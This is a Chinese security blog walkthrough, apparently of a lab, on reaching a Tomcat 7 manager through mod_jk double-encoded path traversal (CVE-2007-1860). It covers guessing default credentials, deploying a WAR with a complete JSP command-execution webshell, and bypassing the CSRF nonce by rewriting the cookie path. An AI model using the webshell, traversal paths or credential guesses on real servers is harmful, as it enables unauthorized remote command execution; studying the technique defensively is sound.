绕过Tomcat 7 csrf保护getshell

admin 2022年10月16日18:22:49评论47 views字数 2884阅读9分36秒阅读模式

此漏洞基于CVE-2007-1860,比较老,思路在于绕过Tomcat7 csrf保护


开局俩按钮

点进去

绕过Tomcat 7 csrf保护getshell

尝试让页面报错 我们在路径后面随便输入点什么

绕过Tomcat 7 csrf保护getshell

收到来自apache的错误,所以这里我们在与apache进行交互

但是我们如果转到Servlets examples页面

同样输入点东西让他报错

绕过Tomcat 7 csrf保护getshell

我们可以看到错误信息是不一样的,这个错误信息来自tomcat。

这里他将请求中继到Tomcat服务器,

如果我们访问存在漏洞的页面他将于tomcat交互

也就是 下面这两个页面 我们就与tomcat 产生了交互

  • /examples/servlets/

  • /examples/jsp/

这些漏洞来自于 mod_jk处理请求方式的问题

mod_jk 首先对URL进行解码并将其传递给Tomcat,Tomcat也会在解码时执行此操作,但是由于我们我们得到了双重编码,我们可以访问apache服务器不一定公开的资源。

尝试访问Tomcat的管理页面

他的默认管理路径为

  • URL/manager/html

绕过Tomcat 7 csrf保护getshell

我们直接访问这个页面发现apache以未响应的返回响应到页面,因为实际上这个路径是Tomcat在公开或者说管理

绕过Tomcat 7 csrf保护getshell

我们在有tomcat交互的路径上访问他的管理路径,会得到404    /examples/manager/html

不仅仅是/manager/html。

我们要告诉apache我们要访问里面的内容并确保请求被转发到Tomcat处理,我们这里使用../访问/manager/html

如果我们直接以下面的路径进行访问

  • /examples/../manager/html

绕过Tomcat 7 csrf保护getshell

我们会再次看到apache错误信息

绕过Tomcat 7 csrf保护getshell

我们看到即使我们去访问/examples/../manager/html

浏览器也自动将他规范为了/manager/html

绕过Tomcat 7 csrf保护getshell

我们手动尝试发包,我们再次看到了apache认为我们在尝试访问/manager/html

mod_jk 双重编码

我们对照ascii码表.为%2e

绕过Tomcat 7 csrf保护getshell

尝试访问 apache mod_jk会进行第一次解码,但这里仍然认为我们正在尝试访问/manager/html,所以我们还需要再次对他进行编码 也就是双重编码。

%25为% 双重编码为 %252e%252e

这样mod_jk会把请求编码一次并发送给Tomcat,Tomcat再次进行解码就规范为了

/../manager/html

绕过Tomcat 7 csrf保护getshell

我们访问发现出现了身份验证标头并告诉我们没有权限,我们复制到浏览器中访问

绕过Tomcat 7 csrf保护getshell

Tomcat弱口令

出现身份验证,尝试使用默认密码和简单的猜解

  • tomcat/tomcat

  • admin/tomcat

  • admin/admin

最后我们以admin 空密码登录到管理页面中

绕过Tomcat 7 csrf保护getshell

war包上传

war 包是一种打包格式Java web工程,都是打成war包,进行发布,打成war包的好处是不会缺少目录,并且只管理好一个发布文件就好,并且tomcat服务器能够自动识别,将war包放在tomcat容器的webapps下,启动服务,即可运行该项目,该war包会自动解压出一个同名的文件夹。

我们可以写一个webshell进去让他部署

<FORM METHOD=GET ACTION='index.jsp'><INPUT name='cmd' type=text><INPUT type=submit value='Run'></FORM><%@ page import="java.io.*" %><%   String cmd = request.getParameter("cmd");   String output = "";   if(cmd != null) {      String s = null;      try {         Process p = Runtime.getRuntime().exec(cmd,null,null);         BufferedReader sI = new BufferedReader(newInputStreamReader(p.getInputStream()));         while((s = sI.readLine()) != null) { output += s+"</br>"; }      }  catch(IOException e) {   e.printStackTrace();   }   }%><pre><%=output %></pre>

保存为jsp格式然后压缩为zip 然后后缀改为 war

绕过Tomcat 7 csrf保护getshell

绕过Tomcat 7 csrf保护getshell

我们直接上传出现了错误 我们可以看路径Tomcat并不知道我们以/examples/%252e%252e/manager/html 这个路径上传,所以我们需要找到一种方法将该请求发送到/examples/%252e%252e/manager/html。

这里可以修改表单,并告诉前端表单发送到/examples/%252e%252e/manager/html

我们只需要右键打开检查,然后找到路径

绕过Tomcat 7 csrf保护getshell

告诉表单我们要上传到/examples/%252e%252e/manager/html

绕过Tomcat 7 csrf保护getshell

绕过tomcat 7 csrf保护

然后上传,但是这里我们遇到了一个问题

如果这里是tomcat7之前我们这样做或许可以

但是在Tomcat 7 中引入了一种新特性

传统的防止CSRF攻击的方法是使用一个随机数(nonce),定义的:在验证协议中,使用一个随机数以确保原来的通信不能被重用。

Tomcat7定义了一个servlet过滤器,它在每一次request请求处理后,在session中存储了一个随机数。这个随机数必须在随后的请求中作为请求参数。这个Servlet filter会在服务器端检查请求中的随机数是否和存储在user session中的随机数相同。如果相同,则这个请求只能从指定的站点而来。如果不相同,则这个请求是别的站点来的,因此会被拒绝。

如果没有JSESSIONID 被发送(或者一个无效的)

webshell 将不会被上传并返回一个 403 HTTP 响应。一般由浏览器自动完成。但是,Tomcat 会创建 JSESSIONID 并使用以下路径将其发送到浏览器:

Set-Cookie: JSESSIONID=E5CE6AF4F6DDDF89569743B9F5490129; Path=/manager/;

由于不是正确的路径(因为浏览器的路径是/examples/%252e%252e/manager/html.),所以浏览器在以后的请求中不会发送。

要管理上传 shell,需要将初始响应(加载管理器页面时)中的有效 JSESSIONID 添加到上传请求(使用代理)。或者,可以删除 HTTP 响应的 Set-Cookie 中的路径。

Tomcat 7 还具有反暴力破解机制。

这里怎么绕过呢,我们开启burp重新进入管理页面

/examples/%252e%252e/manager/html

绕过Tomcat 7 csrf保护getshell

我们可以看到他设置了一个Path

我们吧这个路径替换为,然后放包

/examples/%252e%252e/manager/html

然后登录进去

然后再次利用欺骗表单进行上传

绕过Tomcat 7 csrf保护getshell

成功绕过csrf 保护

我们单击我们部署的shell

绕过Tomcat 7 csrf保护getshell

因为他找不到路径,同样使用双编码过的路径替换

绕过Tomcat 7 csrf保护getshell

最后,希望各位哥哥们关注下我们

原文始发于微信公众号(HashRun安全团队):绕过Tomcat 7 csrf保护getshell

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年10月16日18:22:49
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   绕过Tomcat 7 csrf保护getshellhttp://cn-sec.com/archives/1352574.html

发表评论

匿名网友 填写信息